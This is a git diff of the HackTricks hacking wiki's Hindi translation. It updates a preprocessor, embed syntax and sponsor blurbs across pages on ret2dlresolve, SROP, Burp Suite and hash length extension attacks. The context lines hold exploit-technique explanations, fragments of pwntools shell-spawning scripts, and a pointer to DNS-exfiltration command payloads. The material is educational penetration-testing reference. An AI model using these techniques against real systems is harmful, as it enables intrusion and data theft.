diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index fedfdef99..b3186537d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -69,6 +69,12 @@ def ref(matchobj): return result +def add_read_time(content): + regex = r'(<\/style>\n# .*(?=\n))' + new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content) + return new_content + + def iterate_chapters(sections): if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section return @@ -99,6 +105,7 @@ if __name__ == '__main__': current_chapter = chapter regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}' new_content = re.sub(regex, ref, chapter['content']) + new_content = add_read_time(new_content) chapter['content'] = new_content content = json.dumps(book) diff --git a/src/README.md b/src/README.md index ce36259e0..d3112bed6 100644 --- a/src/README.md +++ b/src/README.md @@ -1,15 +1,12 @@ # HackTricks -Reading time: {{ #reading_time }} -
-_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricks लोगो और मोशन डिज़ाइन द्वारा_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ -> [!TIP] -> **CTFs, वास्तविक जीवन के ऐप्स, शोध पढ़ने और समाचारों से मैंने जो भी हैकिंग ट्रिक/तकनीक/जो भी सीखा है, उसे खोजने के लिए विकी में आपका स्वागत है।** +> [!TIP] > **विकि में आपका स्वागत है जहाँ आपको हर हैकिंग ट्रिक/तकनीक/जो भी मैंने CTFs, असली जीवन ऐप्स, शोध पढ़ने और समाचारों से सीखा है, मिलेगा।** -शुरू करने के लिए इस पृष्ठ का पालन करें जहां आप **टाइपिकल फ्लो** पाएंगे जो **आपको एक या अधिक मशीनों पर पेंटेस्टिंग करते समय पालन करना चाहिए:** +शुरू करने के लिए इस पृष्ठ का पालन करें जहाँ आपको **टिपिकल फ्लो** मिलेगा जो **आपको एक या अधिक मशीनों पर पेंटेस्टिंग करते समय पालन करना चाहिए:** {{#ref}} generic-methodologies-and-resources/pentesting-methodology.md @@ -21,11 +18,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**STM Cyber**](https://www.stmcyber.com) एक महान साइबर सुरक्षा कंपनी है जिसका नारा है **HACK THE UNHACKABLE**। वे अपने स्वयं के शोध करते हैं और **कई मूल्यवान साइबर सुरक्षा सेवाएं** जैसे पेंटेस्टिंग, रेड टीमें और प्रशिक्षण प्रदान करने के लिए अपने स्वयं के हैकिंग उपकरण विकसित करते हैं। +[**STM Cyber**](https://www.stmcyber.com) एक महान साइबर सुरक्षा कंपनी है जिसका नारा है **HACK THE UNHACKABLE**। वे अपने स्वयं के शोध करते हैं और **कई मूल्यवान साइबर सुरक्षा सेवाएँ** जैसे पेंटेस्टिंग, रेड टीमें और प्रशिक्षण प्रदान करने के लिए अपने स्वयं के हैकिंग उपकरण विकसित करते हैं। आप उनके **ब्लॉग** को [**https://blog.stmcyber.com**](https://blog.stmcyber.com) पर देख सकते हैं। -**STM Cyber** भी हैकट्रिक्स जैसी साइबर सुरक्षा ओपन-सोर्स परियोजनाओं का समर्थन करता है :) +**STM Cyber** भी हैक्ट्रिक्स जैसे साइबर सुरक्षा ओपन-सोर्स प्रोजेक्ट्स का समर्थन करता है :) --- @@ -35,7 +32,9 @@ generic-methodologies-and-resources/pentesting-methodology.md [**RootedCON**](https://www.rootedcon.com) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है। -{% embed url="https://www.rootedcon.com/" %} +{{#ref}} +https://www.rootedcon.com/ +{{#endref}} --- @@ -45,9 +44,11 @@ generic-methodologies-and-resources/pentesting-methodology.md **Intigriti** **यूरोप का #1** एथिकल हैकिंग और **बग बाउंटी प्लेटफॉर्म** है। -**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप करें**, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक के बाउंटी कमाना शुरू करें! +**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप करें**, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक बाउंटी कमाना शुरू करें! -{% embed url="https://go.intigriti.com/hacktricks" %} +{{#ref}} +https://go.intigriti.com/hacktricks +{{#endref}} --- @@ -56,11 +57,13 @@ generic-methodologies-and-resources/pentesting-methodology.md
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करें ताकि आप दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **वर्कफ़्लो** को आसानी से बना और स्वचालित कर सकें। +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करें ताकि आप आसानी से **वर्कफ़्लो** बना और **स्वचालित** कर सकें जो दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित हैं। आज ही एक्सेस प्राप्त करें: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} --- @@ -70,7 +73,7 @@ generic-methodologies-and-resources/pentesting-methodology.md [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि आप अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें! -- **हैकिंग अंतर्दृष्टि:** हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों +- **हैकिंग अंतर्दृष्टि:** उस सामग्री के साथ संलग्न हों जो हैकिंग के रोमांच और चुनौतियों में गहराई से जाती है - **वास्तविक समय हैक समाचार:** वास्तविक समय की समाचारों और अंतर्दृष्टियों के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें - **नवीनतम घोषणाएँ:** नए बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें @@ -82,11 +85,13 @@ generic-methodologies-and-resources/pentesting-methodology.md
-**अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें।** +**अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें** -**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए। +**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम उपकरणों का उपयोग करें ताकि हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए। -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} +{{#ref}} +https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons +{{#endref}} --- @@ -94,14 +99,14 @@ generic-methodologies-and-resources/pentesting-methodology.md
-**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं। +**SerpApi** तेज़ और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं। SerpApi की योजनाओं में से एक की सदस्यता में विभिन्न सर्च इंजनों को स्क्रैप करने के लिए 50 से अधिक विभिन्न APIs तक पहुँच शामिल है, जिसमें Google, Bing, Baidu, Yahoo, Yandex, और अधिक शामिल हैं।\ अन्य प्रदाताओं के विपरीत, **SerpApi केवल ऑर्गेनिक परिणामों को स्क्रैप नहीं करता है**। SerpApi प्रतिक्रियाएँ लगातार सभी विज्ञापनों, इनलाइन छवियों और वीडियो, ज्ञान ग्राफ़, और खोज परिणामों में मौजूद अन्य तत्वों और सुविधाओं को शामिल करती हैं। वर्तमान SerpApi ग्राहक **Apple, Shopify, और GrubHub** हैं।\ -अधिक जानकारी के लिए उनके [**ब्लॉग**](https://serpapi.com/blog/) पर जाएं, या उनके [**प्लेग्राउंड**](https://serpapi.com/playground) में एक उदाहरण आजमाएं।\ -आप [**यहां**](https://serpapi.com/users/sign_up) **एक मुफ्त खाता बना सकते हैं**। +अधिक जानकारी के लिए उनके [**ब्लॉग**](https://serpapi.com/blog/) पर जाएँ, या उनके [**प्लेग्राउंड**](https://serpapi.com/playground) में एक उदाहरण आज़माएँ।\ +आप [**यहाँ**](https://serpapi.com/users/sign_up) **एक मुफ्त खाता बना सकते हैं**। --- @@ -109,9 +114,11 @@ SerpApi की योजनाओं में से एक की सदस्
-कमजोरियों के शोध, पेनिट्रेशन टेस्टिंग, और रिवर्स इंजीनियरिंग को करने के लिए आवश्यक तकनीकों और कौशलों को सीखें ताकि मोबाइल ऐप्स और उपकरणों की सुरक्षा की जा सके। **iOS और Android सुरक्षा में महारत हासिल करें** हमारे ऑन-डिमांड पाठ्यक्रमों के माध्यम से और **प्रमाणित हों**: +कमजोरियों के शोध, पेनिट्रेशन टेस्टिंग, और रिवर्स इंजीनियरिंग को करने के लिए आवश्यक तकनीकों और कौशलों को सीखें ताकि मोबाइल ऐप्स और उपकरणों की सुरक्षा की जा सके। **iOS और Android सुरक्षा में महारत हासिल करें** हमारे ऑन-डिमांड पाठ्यक्रमों के माध्यम से और **प्रमाणित** हों: -{% embed url="https://academy.8ksec.io/" %} +{{#ref}} +https://academy.8ksec.io/ +{{#endref}} --- @@ -119,19 +126,21 @@ SerpApi की योजनाओं में से एक की सदस्
-[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर में** व्यवसायों की **सुरक्षा** करती है नवीनतम साइबर सुरक्षा खतरों के खिलाफ **आक्रामक-सुरक्षा सेवाएं** प्रदान करके। +[**WebSec**](https://websec.nl) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर में** व्यवसायों की **सुरक्षा** करती है नवीनतम साइबर सुरक्षा खतरों के खिलाफ **आक्रामक-सुरक्षा सेवाएँ** प्रदान करके एक **आधुनिक** दृष्टिकोण के साथ। -WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका मतलब है कि वे सब कुछ करते हैं; पेंटेस्टिंग, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ। +WebSec एक **ऑल-इन-वन सुरक्षा कंपनी** है जिसका अर्थ है कि वे सब कुछ करते हैं; पेंटेस्टिंग, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ। -WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वास** है, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसे नहीं चुकाएंगे!**" अधिक जानकारी के लिए उनकी [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर जाएं! +WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वास** है, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसे नहीं चुकाएँगे!**" अधिक जानकारी के लिए उनकी [**वेबसाइट**](https://websec.nl/en/) और [**ब्लॉग**](https://websec.nl/blog/) पर एक नज़र डालें! इसके अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक** है। -{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} +{{#ref}} +https://www.youtube.com/watch?v=Zq2JycGDCPM +{{#endref}} ## License & Disclaimer -Check them in: +उनकी जाँच करें: {{#ref}} welcome/hacktricks-values-and-faq.md diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index ffe465282..8027ef582 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -4,20 +4,22 @@ ## Basic Information -जैसा कि [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) और [**Relro**](../common-binary-protections-and-bypasses/relro.md) के पृष्ठ में समझाया गया है, बिना Full Relro के बाइनरी पहली बार उपयोग किए जाने पर प्रतीकों (जैसे बाहरी पुस्तकालयों के लिए पते) को हल करेंगी। यह समाधान **`_dl_runtime_resolve`** फ़ंक्शन को कॉल करके होता है। +जैसा कि [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) और [**Relro**](../common-binary-protections-and-bypasses/relro.md) के पृष्ठ में समझाया गया है, बिना Full Relro के बाइनरी पहली बार उपयोग किए जाने पर प्रतीकों (जैसे बाहरी पुस्तकालयों के लिए पते) को हल करेंगे। यह समाधान **`_dl_runtime_resolve`** फ़ंक्शन को कॉल करके होता है। -**`_dl_runtime_resolve`** फ़ंक्शन स्टैक से कुछ संरचनाओं के संदर्भ लेता है जिनकी उसे निर्दिष्ट प्रतीक को **हल** करने के लिए आवश्यकता होती है। +**`_dl_runtime_resolve`** फ़ंक्शन स्टैक से कुछ संरचनाओं के संदर्भ लेता है जिनकी उसे निर्दिष्ट प्रतीक को **हल करने** के लिए आवश्यकता होती है। इसलिए, सभी इन संरचनाओं को **फेक करना संभव है** ताकि गतिशील रूप से लिंक किया गया हल किया गया प्रतीक (जैसे **`system`** फ़ंक्शन) और इसे एक कॉन्फ़िगर किए गए पैरामीटर (जैसे **`system('/bin/sh')`**) के साथ कॉल किया जा सके। -आमतौर पर, सभी इन संरचनाओं को एक **प्रारंभिक ROP श्रृंखला बनाकर फेक किया जाता है जो `read`** को लिखने योग्य मेमोरी पर कॉल करता है, फिर **संरचनाएँ** और स्ट्रिंग **`'/bin/sh'`** को पास किया जाता है ताकि वे एक ज्ञात स्थान पर पढ़े जाने के द्वारा संग्रहीत हों, और फिर ROP श्रृंखला **`_dl_runtime_resolve`** को कॉल करके जारी रहती है, इसे **फेक संरचनाओं में `system` का पता हल करने** के लिए और **इस पते को** `$'/bin/sh'` के पते के साथ कॉल करने के लिए। +आमतौर पर, इन सभी संरचनाओं को एक **प्रारंभिक ROP श्रृंखला बनाकर फेक किया जाता है जो `read`** को लिखने योग्य मेमोरी पर कॉल करता है, फिर **संरचनाएँ** और स्ट्रिंग **`'/bin/sh'`** को पास किया जाता है ताकि वे एक ज्ञात स्थान पर पढ़े जाने के द्वारा संग्रहीत हों, और फिर ROP श्रृंखला **`_dl_runtime_resolve`** को कॉल करके जारी रहती है, इसे **फेक संरचनाओं में `system` का पता हल करने** के लिए और **इस पते को** `$'/bin/sh'` के पते के साथ कॉल करने के लिए। > [!TIP] -> यह तकनीक विशेष रूप से उपयोगी है यदि syscall गैजेट्स नहीं हैं (जैसे [**ret2syscall**](rop-syscall-execv/) या [SROP](srop-sigreturn-oriented-programming/)) और libc पते लीक करने के तरीके नहीं हैं। +> यह तकनीक विशेष रूप से उपयोगी है यदि syscall gadgets नहीं हैं (जैसे [**ret2syscall**](rop-syscall-execv/) या [SROP](srop-sigreturn-oriented-programming/)) और libc पते लीक करने के तरीके नहीं हैं। -इस तकनीक के बारे में वीडियो के दूसरे भाग में एक अच्छा स्पष्टीकरण देखने के लिए इस वीडियो को चेक करें: +इस तकनीक के बारे में वीडियो के दूसरे भाग में एक अच्छा स्पष्टीकरण देखने के लिए चेक करें: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} या इन पृष्ठों को चरण-दर-चरण स्पष्टीकरण के लिए चेक करें: @@ -56,7 +58,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) ### शुद्ध Pwntools -आप इस तकनीक का [**उदाहरण यहाँ पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **जिसमें अंतिम ROP श्रृंखला का बहुत अच्छा विवरण है**, लेकिन यहाँ उपयोग किया गया अंतिम शोषण है: +आप इस तकनीक का [**उदाहरण यहाँ पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **जो अंतिम ROP श्रृंखला का बहुत अच्छा विवरण प्रदान करता है**, लेकिन यहाँ उपयोग किया गया अंतिम शोषण है: ```python from pwn import * @@ -186,6 +188,6 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) -- 32bit, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, बुनियादी छोटे बफर ओवरफ्लो और रिटर्न। इसे शोषित करने के लिए bof का उपयोग `read` को फिर से कॉल करने के लिए किया जाता है एक `.bss` सेक्शन और एक बड़े आकार के साथ, वहां `dlresolve` नकली तालिकाओं को लोड करने के लिए `system`, मुख्य में लौटने और प्रारंभिक bof का फिर से दुरुपयोग करने के लिए dlresolve को कॉल करने और फिर `system('/bin/sh')` करने के लिए। +- 32bit, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, बुनियादी छोटे बफर ओवरफ्लो और रिटर्न। इसे शोषित करने के लिए bof का उपयोग `read` को फिर से कॉल करने के लिए किया जाता है एक `.bss` सेक्शन और एक बड़े आकार के साथ, वहां `dlresolve` नकली तालिकाओं को लोड करने के लिए `system` को स्टोर करने के लिए, मुख्य में वापस लौटने और प्रारंभिक bof का फिर से दुरुपयोग करने के लिए dlresolve को कॉल करने और फिर `system('/bin/sh')` करने के लिए। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 5e2157fc0..1cfc93c4b 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -57,11 +57,13 @@ ``` एक बेहतर व्याख्या के लिए देखें: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} ## उदाहरण -आप [**यहां एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) जहां सिग्नरटर्न के लिए कॉल ROP के माध्यम से निर्मित किया गया है (rxa में मान `0xf` डालकर), हालांकि यह वहां से अंतिम एक्सप्लॉइट है: +आप [**यहां एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) जहां सिग्नरटर्न के लिए कॉल ROP के माध्यम से बनाई गई है (rxa में मान `0xf` डालकर), हालांकि यह वहां से अंतिम एक्सप्लॉइट है: ```python from pwn import * diff --git a/src/burp-suite.md b/src/burp-suite.md index 1872e160a..775704019 100644 --- a/src/burp-suite.md +++ b/src/burp-suite.md @@ -4,13 +4,15 @@ - **सरल सूची:** बस एक सूची जिसमें प्रत्येक पंक्ति में एक प्रविष्टि होती है - **रनटाइम फ़ाइल:** एक सूची जो रनटाइम में पढ़ी जाती है (मेमोरी में लोड नहीं होती)। बड़ी सूचियों का समर्थन करने के लिए। -- **केस संशोधन:** स्ट्रिंग्स की एक सूची में कुछ परिवर्तन लागू करें (कोई परिवर्तन नहीं, लोअर में, अपर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी को लोअर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी वही रहे)। +- **केस संशोधन:** स्ट्रिंग्स की एक सूची में कुछ परिवर्तन लागू करें (कोई परिवर्तन नहीं, लोअर में, अपर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी को लोअर में-, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी वही रहता है-)। - **संख्याएँ:** Z स्टेप का उपयोग करके या यादृच्छिक रूप से X से Y तक संख्याएँ उत्पन्न करें। - **ब्रूट फोर्सर:** कैरेक्टर सेट, न्यूनतम और अधिकतम लंबाई। -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : कमांड निष्पादित करने और burpcollab के माध्यम से DNS अनुरोधों के माध्यम से आउटपुट प्राप्त करने के लिए पेलोड। +[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : कमांड निष्पादित करने और burpcollab के लिए DNS अनुरोधों के माध्यम से आउटपुट प्राप्त करने के लिए पेलोड। -{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} +{{#ref}} +https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e +{{#endref}} [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 595e55f12..e6374d55e 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -48,7 +48,9 @@ Take it to the top Whisper my world ``` -{% embed url="https://codewithrockstar.com/" %} +{{#ref}} +https://codewithrockstar.com/ +{{#endref}} ## PETOOH ``` diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 3106bbc85..286918ad3 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -4,35 +4,37 @@ ## Summary of the attack -कल्पना कीजिए एक सर्वर जो कुछ डेटा को एक ज्ञात स्पष्ट पाठ डेटा के साथ एक गुप्त को जोड़कर और फिर उस डेटा को हैश करके **साइन** कर रहा है। यदि आप जानते हैं: +कल्पना कीजिए कि एक सर्वर कुछ **डेटा** को **साइन** कर रहा है, जिसमें कुछ ज्ञात स्पष्ट पाठ डेटा के साथ एक **गुप्त** जोड़ा जा रहा है और फिर उस डेटा का हैश बनाया जा रहा है। यदि आप जानते हैं: -- **गुप्त की लंबाई** (इसे एक दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है) +- **गुप्त की लंबाई** (इसे दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है) - **स्पष्ट पाठ डेटा** - **एल्गोरिदम (और यह इस हमले के प्रति संवेदनशील है)** - **पैडिंग ज्ञात है** - आमतौर पर एक डिफ़ॉल्ट का उपयोग किया जाता है, इसलिए यदि अन्य 3 आवश्यकताएँ पूरी होती हैं, तो यह भी है - पैडिंग गुप्त + डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की आवश्यकता है -तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़ा गया डेटा** के लिए एक वैध **हस्ताक्षर** **जनरेट** करना संभव है। +तो, एक **हमलावर** के लिए **डेटा** को **जोड़ना** और **पिछले डेटा + जोड़े गए डेटा** के लिए एक वैध **हस्ताक्षर** **जनरेट** करना संभव है। ### How? -बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक को हैश करके** हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक को जोड़ते हैं** और **इसे हैश करते हैं**। +बुनियादी रूप से संवेदनशील एल्गोरिदम पहले **डेटा के एक ब्लॉक** का हैश बनाकर हैश उत्पन्न करते हैं, और फिर, **पिछले** बनाए गए **हैश** (राज्य) से, वे **अगले डेटा के ब्लॉक** को **जोड़ते** हैं और **हैश करते** हैं। फिर, कल्पना कीजिए कि गुप्त "secret" है और डेटा "data" है, "secretdata" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\ -यदि एक हमलावर "append" स्ट्रिंग को जोड़ना चाहता है, तो वह कर सकता है: +यदि एक हमलावर स्ट्रिंग "append" को जोड़ना चाहता है, तो वह कर सकता है: -- 64 "A"s का MD5 उत्पन्न करें +- 64 "A"s का MD5 जनरेट करें - पहले से प्रारंभ किए गए हैश की स्थिति को 6036708eba0d11f6ef52ad44e8b74d5b में बदलें -- "append" स्ट्रिंग को जोड़ें -- हैश को समाप्त करें और परिणामी हैश "secret" + "data" + "padding" + "append" के लिए एक **वैध** होगा +- स्ट्रिंग "append" जोड़ें +- हैश को समाप्त करें और परिणामी हैश **"secret" + "data" + "padding" + "append" के लिए एक वैध होगा** ### **Tool** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} ### References -आप इस हमले को अच्छी तरह से समझा हुआ [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) पर पा सकते हैं +आप इस हमले को अच्छी तरह से समझा सकते हैं [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index d48deb94b..0d36d9eb8 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -4,8 +4,12 @@ यदि आप एक ज्ञात plaintext को एन्क्रिप्ट कर सकते हैं, तो आप पासवर्ड भी निकाल सकते हैं। अधिक संदर्भ HTB Kryptos मशीन में मिल सकते हैं: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index 82db7110c..ab113289d 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -2,35 +2,37 @@ # हमले का सारांश -कल्पना करें कि एक सर्वर कुछ **डेटा** को **साइन** कर रहा है, जिसमें कुछ ज्ञात स्पष्ट पाठ डेटा के साथ एक **गुप्त** को **जोड़ना** और फिर उस डेटा का हैश बनाना शामिल है। यदि आप जानते हैं: +कल्पना कीजिए एक सर्वर जो कुछ **डेटा** को **साइन** कर रहा है, एक **गुप्त** को कुछ ज्ञात स्पष्ट पाठ डेटा में **जोड़कर** और फिर उस डेटा का हैशिंग कर रहा है। यदि आप जानते हैं: -- **गुप्त की लंबाई** (इसे दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है) +- **गुप्त की लंबाई** (इसे एक दिए गए लंबाई रेंज से भी ब्रूटफोर्स किया जा सकता है) - **स्पष्ट पाठ डेटा** - **एल्गोरिदम (और यह इस हमले के प्रति संवेदनशील है)** - **पैडिंग ज्ञात है** - आमतौर पर एक डिफ़ॉल्ट का उपयोग किया जाता है, इसलिए यदि अन्य 3 आवश्यकताएँ पूरी होती हैं, तो यह भी है -- पैडिंग गुप्त+डेटा की लंबाई के आधार पर भिन्न होती है, यही कारण है कि गुप्त की लंबाई की 